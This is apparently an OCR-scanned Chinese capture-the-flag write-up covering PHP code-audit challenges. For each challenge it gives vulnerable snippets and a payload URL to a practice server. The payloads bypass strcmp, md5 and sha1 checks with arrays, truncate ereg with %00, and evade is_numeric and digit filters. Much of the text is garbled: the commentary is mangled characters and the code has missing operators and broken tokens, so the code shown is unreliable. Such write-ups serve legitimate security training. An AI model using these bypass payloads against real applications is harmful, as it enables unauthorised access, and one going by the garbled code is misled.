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$content=trim(file_get contents($flag));
if($shiyan==$content)

MEHRH AR B8 Rt 4 X5, shiyanfiflaglE A5 414 1E
payload:

http://123.206.87.240:9009/1.php?shiyan=&flag=
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"flag{xxxxx}";
if (isset($ GET['a'l)) {
if (strcmp($_GET['a'], $flag) Q) //WE strl /HF str2 iREl < 0; WRER strlKTF str2iREl > 0; WRFHHMHEE, RE o

/LB FRE (X KRANF)

: '.$flag);

BRI ERRFZRAUGD T, strempRBRADELEIAN), HEME—AEHABR A LU ENI0
payload:

http://123.206.87.240:9009/6.php?a[ ]=1

urldecode— ¥k %s % 521

?php

if(eregi("hackerDd",$ GET[id]))
{

echo("not allowed!");

exit();

b

$ GET[id] urldecode($_GET[id]);
if($ _GET[id] "hackerDJ")

{

echo "Access granted!";

echo "flag";

}

eregi() R Eid P R A ShackerDJ, H ¥ hackerDJH urlgmtl:

Bk EER—FE, BT — T ERKIurfESget #7142 B & — B HEAT T — RS, B LA LT Kurlgw i S br b ©2 BRI
T, BEEB#EE T not allowed!"* T 4445 B K urlZm A AT — IR GBI

%62568%2561%2563%256B%2565%2572%2544%254A

payload:

http://123.206.87.240:9009/10.php?1d=%2568%2561%2563%256B%2565%2572%2544%254A

md5() & £



?php
error_reporting(0);
$flag 'flag{test}"';
if (isset($_GET['username']) and isset($ GET[ 'password'])) {
if ($ GET['username'] $ GET[ 'password'])
print 'Your password can not be your username.';
else if (md5($ GET['username']) md5($_GET[ 'password']))
die('Flag: '.$flag);

'Invalid password';

FIREMA5 Rt R AT LA BSR40, 10 H.usernamel=password, **=**RiBKM, FTEEL—F, KBMBUNF—F, FFUHEAD
null=null, 5E3&...
payload:

http://123.206.87.240:9009/18.php?username[ ]=1&password[ ]=2

md5jn# A % geid

md5 ( 'QNKCDZ0"') ;
@$_GET['a'];
@md5($a) ;

'QNKCDZO0' $mds51 $mds2) {
"flag{*}";
} else {
echo "falsel!l!l!l";
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else{echo "please input a";}
?
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payload:
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"flag";

if (isset ($_GET['password'])) {
if (ereg ("~[a-zA-Z0-9]+%$", $ GET[ 'password']) FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($ _GET['password'], '--') FALSE)
', $flag);

'Invalid password';
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payload:

http://123.206.87.240:9009/19.php?password[ ]=1
T5E2: HiE%00E T, eregifi R feAb B F|00. 2 7Y I FFF
payload:

http://123.206.87.240:9009/19.php?password=1%00* - -*
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$temp = $ _GET[ 'password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){

echo $flag;

is_numericE RN G HF, TWHEKXT 1336, H%O0MRERF/EHAN AIEHF
payload:

http://123.206.87.240:9009/22.php?password=1337%00

XBREFRE, RAHKARKT T, HETUK, HAHE...
sha()R # tL B St

var_dump($ GET[ 'password']);
var_dump(shal($ GET[ 'name']));
var_dump(shal($ GET[ 'password']));

if ($_GET[ 'name'] $ _GET[ 'password'])

echo

our password can not be your name!

else if (shal($ _GET['name']) shal($ GET[ 'password']))
: '.$flag);




shal R FIFEABEAL BB, BRI P AN HE S5 0 B A% 3t 25 B AT i g nuli===null
payload:

http://123.206.87.240:9009/7.php?name[ ]=1&password[ ]=2

WAY:id I ESE &= A

?php
error_reporting(9);
function noother_says correct($temp)

'flag{test}"';
ord('1'); //ord — REIFFFH ASCII F3{E
ord('9'); //ord — REIFFFH ASCII F3{E
'3735929054 " ;
// Check all the input characters
for ($i = @; $i < strlen($number); $i++)

P
1

// Disallow all the digits

$digit = ord($temp{$i});

if ( ($digit $one) ($digit $nine) )
{

// Aha, digit not allowed

return "flase";

$temp)

$temp = $ GET[ 'password'];

echo noother_says_correct($temp);
?

BERfE—ApasswordfE# %, passwordNEER1-OKIEF, T HEMI735929054 %5, A R+ i#t#l%deadcOde
payload:

http://123.206.87.240:9009/20.php?password=0xdeadc@de

ereg 1k M| %004 ¥



if (ereg ("~[a-zA-Z0-9]+%$", $ GET[ 'password']) FALSE)
{

echo

ou password must be alphanumeric

$_GET[ 'password’ ] 9999999)

FALSE) //strpos — ERFHHERHIKME

& Reereg ()1 %008, T EHBARME DT 8AL, KT9999999, AR THEE, HiA1e8,008: Ml -*BI AT
payload:

http://123.206.87.240:9009/5.php?password=1e8%00*-*

strposH 4 it

if (isset ($_GET['ctf'])) {
if (@ereg ("~[1-9]+4%$", $ GET['ctf']) FALSE)
BFRABFAT
if (strpos ($ GET['ctf'], '#biubiubiu') FALSE)
'Flag: '.$flag);

"IRSE, 4RSES IR~

ncfERLHEE, WAR1-9KH T, M HE S S#biubiubiu
WAEHTEEHulgmis
payload:




http://123.206.87.240:9009/15.php?ctf=1%00%23biubiubiu

B 7 B F 1E W) St

?php
error_reporting(0);
$flag 'flag{test}"';
if ("POST" $ SERVER[ 'REQUEST_METHOD'])

$_POST[ 'password'];

preg_match('/~[[:graph:]1]{12,}$/', $password)) //preg_match — $IT—AIENFRIERILE

"/([[:punct:]]+|[[:digit:]]+|[[:upper:]]1+|[[:lower:1]+)/";

preg_match_all($reg, $password, $arr))

$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] EMIRARKS [[:digit:]] EM%F [[:upper:]] FEfIX

S8 [[:lower:]] fEMNGFEE
foreach ($ps as $pt)

{
if (preg_match("/[[:$pt:]1]+/", $password))
$c += 1;

}
if ($c 3) break;

//>=3, BABENMER=FE =MDk
if ("42" $password) echo $flag;
else echo 'Wrong password';

exit;
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